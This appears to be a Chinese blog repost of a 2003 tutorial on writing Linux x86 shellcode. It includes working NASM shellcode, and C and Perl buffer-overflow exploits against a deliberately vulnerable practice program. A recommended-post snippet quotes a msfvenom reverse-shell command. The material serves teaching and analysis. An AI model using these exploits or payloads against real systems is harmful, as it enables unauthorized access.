【实战】Exploit,shellcode经验技巧杂谈

【PWN · ret2shellcode】[HNCTF 2022 Week1]ret2shellcode ret2shellcode——顾名思义,控制执行流到shellcode在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?依此,主要的过程如下:(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限。 阅读详情

Exploit,shellcode经验技巧杂谈


创建时间:2003-07-14
文章属性:原创
文章提交: OYXin (oyxin_at_ph4nt0m.net)

OYXin
OYXin@ph4nt0m.net

                          Exploit,shellcode经验技巧谈

    这篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的《Writing shellcode》文章特别吸引我,他提供的一种方法我认为很方便。我结合自己的测试将文中的一些技巧衔接起来。还有一些自己在学习exploit过程中遇到的问题和解决方法。希望对和我一样初学exploit的朋友们能有一点点的帮助。水平有限,错误在所难免,发现错误请跟我联系,不甚感激。

    不打无准备的仗,我们最好先做好一些准备工作。可以参考一下我的系统环境。
    系统环境:REDHAT 9.0, gcc version 3.2.2, NASM version 0.98.35,perl 5.8.0

    言归正传吧,用汇编语言写好我们想要执行的程序的功能,流程还是类似常用的写shellcode asm的写法,这里我就不用/bin/sh做例子了。我要写一个打开nc监听一个端口的shellcode,测试目的,并没有绑定shell.首先vim ncshellcode.S,填写如下代码:

BITS 32

jmp short       callit

doit:  

pop             esi
xor             eax, eax
mov byte        [esi + 7], al     ; 在/usr/nc后面加0
mov byte        [esi + 10], al    ; 在-l后面加0
mov byte        [esi + 13], al    ; 在-p后面加0
mov byte    [esi + 18], al    ; 在2003后面加0
mov long        [esi + 19], esi   ; 把字符串/usr/nc的地址放到AAAA所在的地方
lea             ebx, [esi + 8]    ; 得到字符串-l的地址  
mov long        [esi + 23], ebx   ; 把字符串-l的地址放在BBBB
lea             ebx, [esi + 11]   ; 得到字符串-p的地址
mov long        [esi + 27], ebx   ; 把字符串-p的地址放在CCCC
lea        ebx, [esi + 14]      ; 得到字符串2003的地址
mov long    [esi+ 31], ebx    : 把字符串2003的地址放在DDDD
mov long        [esi + 35], eax   ; 把NUll放在 EEEE
mov byte        al, 0x0b          ; syscall 0x0b (execve)
mov             ebx, esi          ; program
lea             ecx, [esi + 19]   ; (/usr/nc -l -p 2002)
lea             edx, [esi + 35]   ; NULL
int             0x80              ;

callit:
call            doit

db              '/usr/nc#-l#-p#2003#AAAABBBBCCCCDDDDEEEE'  

    思路其实和aleph one的是一样的,注意nasm的语法是intel的就可以了。注意db   '/usr/nc#-l#-p#2003 #AAAABBBBCCCCDDDDEEEE',打#的就是要用一个字节的0填充的;AAAA,BBBB,CCCC....用来储存字符串地址的地址,这样写可以很大程度的避免由于粗心造成的错误,比如字节数计算不当等等。
写好源代码之后用nasm -o ncshellcode ncshellcode.S编译,编译好了就直接可以用ndisasm得到shellcode了。
[oyxin@OYXin shellcode]$ ndisasm -b 32 ncshellcode
00000000  EB33              jmp short 0x35
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884607            mov [esi+0x7],al
00000008  88460A            mov [esi+0xa],al
0000000B  88460D            mov [esi+0xd],al
0000000E  884612            mov [esi+0x12],al
00000011  897613            mov [esi+0x13],esi
00000014  8D5E08            lea ebx,[esi+0x8]
00000017  895E17            mov [esi+0x17],ebx
0000001A  8D5E0B            lea ebx,[esi+0xb]
0000001D  895E1B            mov [esi+0x1b],ebx
00000020  8D5E0E            lea ebx,[esi+0xe]
00000023  895E1F            mov [esi+0x1f],ebx
00000026  894623            mov [esi+0x23],eax
00000029  B00B              mov al,0xb
0000002B  89F3              mov ebx,esi
0000002D  8D4E13            lea ecx,[esi+0x13]
00000030  8D5623            lea edx,[esi+0x23]
00000033  CD80              int 0x80
00000035  E8C8FFFFFF        call 0x2
0000003A  2F                das
0000003B  7573              jnz 0xb0
0000003D  722F              jc 0x6e
0000003F  6E                outsb
00000040  6323              arpl [ebx],sp
00000042  2D6C232D70        sub eax,0x702d236c
00000047  2332              and esi,[edx]
00000049  3030              xor [eax],dh
0000004B  3323              xor esp,[ebx]
0000004D  41                inc ecx
0000004E  41                inc ecx
0000004F  41                inc ecx
00000050  41                inc ecx
00000051  42                inc edx
00000052  42                inc edx
00000053  42                inc edx
00000054  42                inc edx
00000055  43                inc ebx
00000056  43                inc ebx
00000057  43                inc ebx
00000058  43                inc ebx
00000059  44                inc esp
0000005A  44                inc esp
0000005B  44                inc esp
0000005C  44                inc esp
0000005D  45                inc ebp
0000005E  45                inc ebp
0000005F  45                inc ebp
00000060  45                inc ebp

其实就是这么简单,剩下的就是要测试一下shellcode是否能正常运行了。这里我用非安全高级缓冲区溢出里面的一个例子来测试。(当然,这段汇编代码可以进一步优化)

/*abo1.c                                                 *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced¡­                  */
int main(int argv,char **argc)
{  
char buf[256];
strcpy(buf,argc[1]);
}

上面的代码是漏洞程序,下面是我写的exploit,那段长长的shellcode就是刚才的nc -l -p 2003的shellcode。

#exp2.c
#codz by OYXin
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define  bufsize 272
char shellcode[] =
        "/xeb/x33/x5e/x31/xc0/x88/x46/x07/x88/x46/x0a/x88/x46/x0d/x88"
        "/x46/x12/x89/x76/x13/x8d/x5e/x08/x89/x5e/x17/x8d/x5e/x0b/x89"
        "/x5e/x1b/x8d/x5e/x0e/x89/x5e/x1f/x89/x46/x23/xb0/x0b/x89/xf3"
        "/x8d/x4e/x13/x8d/x56/x23/xcd/x80/xe8/xc8/xff/xff/xff/x2f/x75"
        "/x73/x72/x2f/x6e/x63/x23/x2d/x6c/x23/x2d/x70/x23/x32/x30/x30"
        "/x33/x23/x41/x41/x41/x41/x42/x42/x42/x42/x43/x43/x43/x43/x44"
        "/x44/x44/x44/x45/x45/x45/x45";

int main(int argc,char *argv[]){
    char buf[bufsize+1];
    char  *prog[]={"./abo1",buf,NULL};
    char  *env[]={"HOME=/root",shellcode,NULL};
    unsigned long ret;
    ret=0xc0000000-sizeof(void *)-strlen(prog[0])-strlen(shellcode)-0x02;
    memset(buf, 0x90, bufsize);
    memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));
    buf[bufsize] = '/0';
    execve(prog[0],prog,env);
    return  0;
}
这里是输出。
[oyxin@OYXin buf]$ ./exp2
ls                 #这里是客户端输入后,服务端的输出
yeah!lol....


[oyxin@OYXin oyxin]$ nc -vv localhost 2003
OYXin [127.0.0.1] 2003 (cfinger) open
Ls                #客户端输入
yeah!lol....

    可以看到在运行了exp2后,成功的打开了2003这个端口,shellcode成功了。
    顺便提提,我看到可爱的刺刺在绿盟问了shellcode地址的计算问题(用环境变量),关于利用环境变量写exploit netric和gera的非安全高级缓冲区溢出编程里面都有介绍。
gera的计算方法:ret=0xbffffffa-strlen(name_of_program)-strlen(shellcode)"
netric的计算方法:ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -strlen(shell) - 0x02;
注意这段话:“这里我们发现在linux_binprm 结构里面的执针p被设置为指向最后memory page在减去一个void指针,像0xc0000000 - 0x04这样”,可以计算一下netric的ret =0xc0000000-0x04-0x02-strlen(prog[0])-strlen(shell) = 0xbffffffa-strlen(prog[0]-strlen(shell),因为strlen(prog[0]就是strlen(name_of_progarm),所以这两个公式是完全一样的。没有什么不同。关于原理可以查资料,刺翻译的非安全高级缓冲区溢出,和我翻译的netric的文章都解释的很清楚了。
    禁不住又要扯扯我喜爱的语言perl,perl虽然没有execve()函数,但是任然可以轻松简单的写利用环境变量的exploit.
下面是我用perl写的针对abo1的exploit。

#!/usr/bin/perl
#code by OYXin
$shellcode =
"/x31/xc0/x31/xdb/xb0/x17/xcd/x80".
"/x31/xdb/x89/xd8/xb0/x2e/xcd/x80".
"/x31/xd2/x52/x68/x6e/x2f/x73/x68/x68/x2f/x2f/x62/x69".
"/x89/xe3/x52/x53/x89/xe1/x8d/x42/x0b/xcd/x80";
$path = "./abo1";
$ret = 0xbffffffa - length($shellcode) - length($path);        #这里就是计算公式,上面刚刚提到。
$new_ret = pack('l', $ret);
$buffer = "A" x 268;
$buffer .= $new_ret;
local($ENV{'OYXin'}) = $shellcode;
exec("$path  $buffer");

是不是用perl写很轻松阿,嘿嘿。

    扯远了,回到正题吧 :p
    当时我调试程序的时候犯了一个错误,我的nc在/usr/bin/这个目录,而不是/usr这个目录。这里可以用strace这个工具调试.
strace ./exp2可以看到下面的提示。
execve("/usr/nc", ["/usr/nc", "-l", "-p", "2003"], [/* 0 vars */]) = -1 ENOENT (No such file or direc or directory)
这样我们就知道了是/usr目录没有nc了,拷贝nc到/usr目录之后继续strace ./exp2
可以看到输出的最后一行是
accept(3,

嘿嘿,监听成功,打开另外一个xterm用nc连接上去,可以在先前运行strace的屏幕输出里面看到
accept(3, {sa_family=AF_INET, sin_port=htons(32886), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
rt_sigaction(SIGALRM, {SIG_IGN}, {SIG_IGN}, 8) = 0
alarm(0)                                = 0
close(3)                                = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(2003), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
select(16, [0 4], NULL, NULL, NUL

在客户端输入ls,输出是
select(16, [0 4], NULL, NULL, NULL)     = 1 (in [4])
read(4, "ls/n", 8192)                   = 3
write(1, "ls/n", 3ls
)                     = 3
select(16, [0 4], NULL, NULL, NUL

在测试shellcode的时候strace真是一个巨有用的工具。你能迅速知道错误所在。从而做进一步的修改。


记得有次在安全焦点看到有位朋友问如何知道类似/xeb/x33/东东的真正勾当。当你怀疑一个exploit本质是一个木马程序的时候。当别人写出短小精干的shellcode你想研究学习的时候,研究shellcode确实显的很重要,这里也有个很简单的方法。如下这个脚本轻松的做到将shellcode写到一个bin文件中,你只需要修改$shellcode变量为你想研究的shellcode,运行脚本,然后就得到了一个shellcode.bin文件,剩下的事情就是用ndisasm或者windows的w32dasm分析了。

以分析一个24bytes的shellcode为例子:
#!/usr/bin/perl -w
$shellcode= "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"."/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";
open(FILE, ">shellcode.bin");
print FILE "$shellcode";
close(FILE);
运行它,得到了shellcode.bin,接着用ndisasm分析之。

[oyxin@OYXin oyxin]$ ndisasm -b 32 shellcode.bin
00000000  31C0              xor eax,eax
00000002  50                push eax              
00000003  682F2F7368        push dword 0x68732f2f  #push //sh
00000008  682F62696E        push dword 0x6e69622f  #push /bin
0000000D  89E3              mov ebx,esp           #把字符串的地址传给ebx
0000000F  50                push eax
00000010  53                push ebx
00000011  89E1              mov ecx,esp            #把字符串地址的地址传给ecx
00000013  99                cdq                  
00000014  B00B              mov al,0xb          
00000016  CD80              int 0x80

基本就知道24bytes shellcode编写的思路了,和前辈们分析的一样,没有exit调用也是可以的。用到了堆栈和esp传递地址,没有用传统的jump esi等方法。
最近在看gera非安全高级缓冲区溢出,后面的几个例子用perl没有能实现,希望有经验的朋友能跟我交流。
以jmp esp 为跳板的shellcode开发 0x00 Shellcode概述 Shellcode与exploit 1) shellcode:缓冲区攻击中植入进程的代码。进行删改文件、窃取数据、上传木马并运行、格式话硬盘等。用汇编语言编写,并转换成二进制机器码,内容和长度受到苛刻限制。 2) exploit: 漏洞利用程序,用于生成攻击性的网络数据包或其他形式的攻击性输入。exploit的核心是淹没返回地址,劫持进程控制权,跳去执行shel 阅读详情

相关推荐

Shellcode编码技术

也就是我们在执行真正的costom_decoder之前将esp调整到nSEH之前,和costom_decoder本身之前,留下足够的opcode空间。因此,我们用0减去re_opcode,就可以得到opcode,为什么用减法而不是加法直接得到opecode呢,以eax为例,sub eax, xx指令是‘\x2d'合法的,而add eax, xx是”\x81\xC0“。为了更好的确定地址,我们将egg hunter放在payload的首,在nSEH处跳到调整edx的代码。所以egg hunter是可行的。

2301_77498991的博客 1033

(转载)Exploit,shellcode经验技巧杂谈

Exploit,shellcode经验技巧杂谈转自:http://www.xfocus.net创建时间:2003-07-14文章属性:原创文章提交:OYXin (oyxin_at_ph4nt0m.net)OYXinOYXin@ph4nt0m.net                          Exploit,shellcode经验技巧谈    这篇文章不是教你如何去写exploit,shel

Kendiv's Box 2797

ε-差分隐私之拉普拉斯噪声机制(定义 + 证明 + 代码)

ε-差分隐私之拉普拉斯噪声机制 差分隐私的描述 1-范式的定义:使用matlab调用函数norm(x, 1) 更多范式见 范式 差分隐私的定义应该满足 拉普拉斯噪声的证明全过程如下: DP方向差分隐私证明是基本入门!!! -拉普拉斯噪声分布代码 Laplace分布的概率密度函数的形式是: 使用python - matplotlib来绘制概率分布图: import matplotlib.pyplot as plt import numpy as np def laplace_fun

毕业才是起点 1万+

对于“shellcode”和“exploit”的解释

      最近在浏览“邪恶八进制”的论坛的时候看到了一个朋友的帖子“如何编译shellcode”。大家讨论的热情比较高,但我发现有一部分人实际上对于shellcode的理解还是不够深刻的。      首先“编译shellcode”这个说法就有点不合适。      shellcode其实在编写的过程中就要让自己的大脑充当编译器了,而实际上shellcode是不需要编译的,比如说如果你记得机器码

yxyhack's blog 2646

深度学习PyTorch代码模板——模型训练框架、数据处理、绘图…

个人用深度学习代码模板:模型训练框架、数据处理、绘图等。待补充。

https://www.hyperplasma.top 1908

用运放和乘法器DIY忆阻模拟器:从理论到Multisim仿真实战

本文详细介绍了如何利用运放和乘法器DIY忆阻模拟器,从理论基础到Multisim仿真实战。通过解析忆阻器的数学模型,设计关键电路模块,并完成仿真验证,帮助电子爱好者低成本实现忆阻器功能。文章还提供了实际调试中的常见问题解决方案和进阶应用建议,适合神经形态计算和非易失性存储领域的研究者参考。

weixin_28718345的博客 421

利用 exploit-db 交叉编译 shellcode

shellcode 通用编写方法 获得shellcode一般有如下五种办法: pwntools: asm(shellcraft.arm.linux.sh(),arch=’arm’) msfvenom: msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f py -o msf.py shell-storm: http://shell-storm.org/shellcode/ exploit-db: https

YouTheFreedom的博客 821

借助ChatGPT完成课题申报书中框架思路写作指南

通过这篇文章的学习,我们可以让ChatGPT先为用户匹配研究理论、研究方法、研究思路、研究内容等,为申请人提供一些参考,能够帮助对拟申报课题有一个初步的认识。当申请人找到了合适的理论、方法和问题后,再借助精细化提示词模型提问,那ChatGPT回答的启发性肯定会有质的提升,更具有使用价值。

智能AI让学术科研更容易 2468

MIPS下shellcode编写二

在shellcode中我们常会看到execve系统调用,它常用来运行/bin/sh之类的应用程序。 我们来execve的原型 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。 这里为了方便,直接将后面两个参数置0 简单的看看c程序里execve的使用 代码在exe.c 编译 运行 可以看到execve函数执行了/bin/sh生成了一个shell 用汇编来写同

Yale的博客 770

Python爬虫实战:爬取并分析电子商务平台用户评论数据

爬虫(Web Scraping)是指通过编写程序模拟浏览器行为,从网站中提取数据的过程。爬虫技术可以自动化地抓取网站上的信息,广泛应用于数据收集、价格监控、市场研究等多个领域。情感分析(Sentiment Analysis)是一种自然语言处理技术,用于确定文本的情感倾向。对于电子商务平台的评论数据,情感分析可以帮助商家了解消费者的反馈情绪,例如产品的好评、差评或中性评价。本文详细介绍了如何使用Python爬虫技术从电子商务平台抓取并分析用户评论数据。我们展示了如何通过requestsSelenium。

2201_76125261的博客 1177

ADC的有效位数(ENOB)、信噪比(SNR)和无杂散动态范围(SFDR)——详细分析

设计提示(从文本):选择ADC时,看数据手册的SNR、ENOB、SFDR vs 频率图。减小抖动:用低抖动时钟、优化PCB、电源滤波。对于大信号:关注SFDR(失真);小信号:关注SNR/ENOB(噪声)。如果ENOB不足,用过采样或多ADC并行提升(但增加复杂度)。为什么这段重要?它解释了为什么高速ADC(如用于5G、雷达)的规格那么贵:抖动和失真限制了高频性能。理解这些,能帮你避免设计陷阱。

VectorShift的博客 1407

一句话解释shellcode、payload、exploit

shellcode是一系列指令 payload是实现如何连接shell,或者控制靶机做什么操作的一段shellcode exploit是一段携带payload的,对特定漏洞的利用代码 用一句话概括变为:exploit包含payload,payload由shellcode组成。...

qq_34304107的博客 1672

假新闻检测论文分享(17)CAFE(Cross-modal Ambiguity Learning for Multimodal Fake NewsDetection)

本文首先从信息论的角度对跨模态歧义性学习问题进行形式化描述,利用不同单模态特征之间的分布散度量化其歧义性;然后,提出了一种模糊度感知的多模态假新闻检测方法CAFE。CAFE通过自适应地聚合单模态特征和跨模态关联,即在跨模态歧义性较弱时依赖单模态特征,在跨模态歧义性较强时参考跨模态关联,从而提高假新闻检测精度。提出了跨模态歧义学习问题,这是多模态假新闻检测的一个关键挑战,并提出了一种基于KL散度的方法,通过估计其特征分布的散度来量化文本和图像之间的歧义。

weixin_41964296的博客 1728

Exploit,shellcode经验技巧谈

这 篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理 解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的 《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的 《W

柒十岁月 1372

【知识图谱】实践篇——基于知识图谱的《红楼梦》人物关系可视化及问答系统实践:part1项目介绍与环境准备

看到这篇文章的你,相信对知识图谱相关概念不在陌生。知识图谱相关内容在实际开发中包含两个部分:1.知识图谱构建,2.知识图谱使用。知识图谱构建过程中涉及内容、技术都比较多。知识图谱的应用也逐渐在我们的生活中随处可见,其中基于知识图谱的问答系统就是其中的一个应用。基于知识图谱的问答系统称做KGQA(knowledge graph question answer),也有人称其为KBQA(knowledge based question answ).基于知识图谱的问答系统通常是使用的是领域知识图谱。下面就结合Git

让算法融入生活,改变生活! 4720

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

OSCP技能:修复、编译与优化 Exploit——跨平台编译、静态链接与 Shellcode 生成

这可能是因为目标系统的架构不同(例如 32 位或 64 位)、缺少必要的库文件、代码被安全软件(如杀毒软件或 EDR)拦截,或者需要适配特定的网络环境。是本文的核心技术之一,指在一种平台(或架构)上编译出适用于另一平台(或架构)的程序(如在 Linux 上编译 Windows Exploit,或在 64 位系统上编译 32 位程序)。为了真正“利用”漏洞,我们需要嵌入恶意 Payload,如反向 Shell 或 Meterpreter,使目标机器主动连接攻击者的监听端,从而获得远程 Shell。

vortex5的博客 1213

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

如何入门Exploit-Writeups?新手必学的CTF漏洞利用实战教程

想要掌握网络安全实战技能吗?Exploit-Writeups项目为你提供了一个宝贵的学习资源库!这个项目汇集了丰富的CTF挑战writeup和漏洞利用分析,是新手学习网络安全实战技巧的终极指南。无论你是刚接触CTF竞赛,还是想深入了解漏洞利用技术,这个项目都能为你提供实用的学习路径和实战案例。 ## 📚 什么是Exploit-Writeups项目? Exploit-Writeups是一个专注

gitblog_01035的博客 1112

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Shellcode的原理及编写

1.shellcode原理

maotoula的专栏 7万+

认识ShellCode

shellcode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址上去执行shellcode。exploit主要强调执行控制权,而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷,往往对于不同漏洞来讲exploit是特殊的,而shellcode会具有一些通用性。可以看到生成一个payload_x64.c。

xlsj雪松的博客 1086

pwntools 实战指南:用 pwnlib.runner 快速运行汇编与 Shellcode

在编写 exploit 或调试 shellcode 时,频繁"写汇编 → 编译成 ELF → 手动执行"的流程非常低效。pwntools 的 `pwnlib.runner` 模块正是为这一场景而生:它把"汇编 + 链接 + 加载执行"封装成一行调用,直接返回一个可交互的 `process` 管道对象,让你立即发送输入、读取输出、甚至直接拿到进程退出码。读完本文,你将掌握 `run_assembly

gitblog_00049的博客 685

渗透中POC、EXP、Payload、Shellcode和exploit的区别

1、POC、EXP、Payload与Shellcode POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。 . EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。 . Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。 . Shellcode:简单翻译 ’...

weixin_45116657的博客 5672

Shellcode编写与egg hunting技术:awesome-exploit-development进阶教程

awesome-exploit-development是一个精心策划的漏洞利用开发学习资源集合,包含书籍、教程、课程、工具和易受攻击应用程序等内容。本文将深入探讨Shellcode编写与egg hunting技术,帮助你在漏洞利用开发领域取得进阶。 ## 一、Shellcode编写基础 ### 1.1 Shellcode的定义与作用 Shellcode是一段用于利用软件漏洞的机器码,通常用于在

gitblog_01061的博客 718

Relapse-Exploit 的 Shellcode 与 Payload 加载:elfldr 端口 9021 与 pthread 启动全流程

Relapse-Exploit 是面向 PS5(7.00–13.60 固件)的越狱利用链。它的收官动作很特别:把一段 shellcode 注入一个全新的 pthread 线程,让内建的 elfldr 加载器在 **9021 端口** 监听,随后按下 R2,依次把 kstuff、shadowmountplus、etaHEN 三个 payload 送进主机,完成从内核读写到 Homebrew 环境的最

gitblog_00198的博客 197

PWN练习之ret2shellcode

ret2shellcode是一种通过注入并执行shellcode来获取系统权限的攻击技术。攻击者将shellcode写入内存(如栈或bss段),并通过栈溢出覆盖返回地址,使其跳转到shellcode执行。

m0_57882332的博客 1万+

Shellcode学习之编写变形的shellcode[实战篇]

上次花了很多笔墨来说明一个变形的shellcode到底是什么原理,这一次的实战篇我们就来做一个简单的变形shellcode。由于篇幅的限制,这个变形的东西还是比较幼稚,但是它已经能够逃脱几乎所有按照shellcode特征来杀 “毒”的各类软件,在shellcode不限长度的时候,你甚至可以反复的使用这个加密的头部来进行变形。具体的内容,我们在下面慢慢说。 切入正题之前还是按照老传统先科普一下。s

dongyewolong的专栏 1162

Exploit Exercises - Protostar Stack

这个网站是http://exploit-exercises.com/protostar。 Stack 0: #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(

u011500307的专栏 2904
上一篇: 【分析】如何利用格式化溢出漏洞,x86/sparc
下一篇: 【分析】缓冲区溢出漏洞发掘之整数范围限制浅析
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值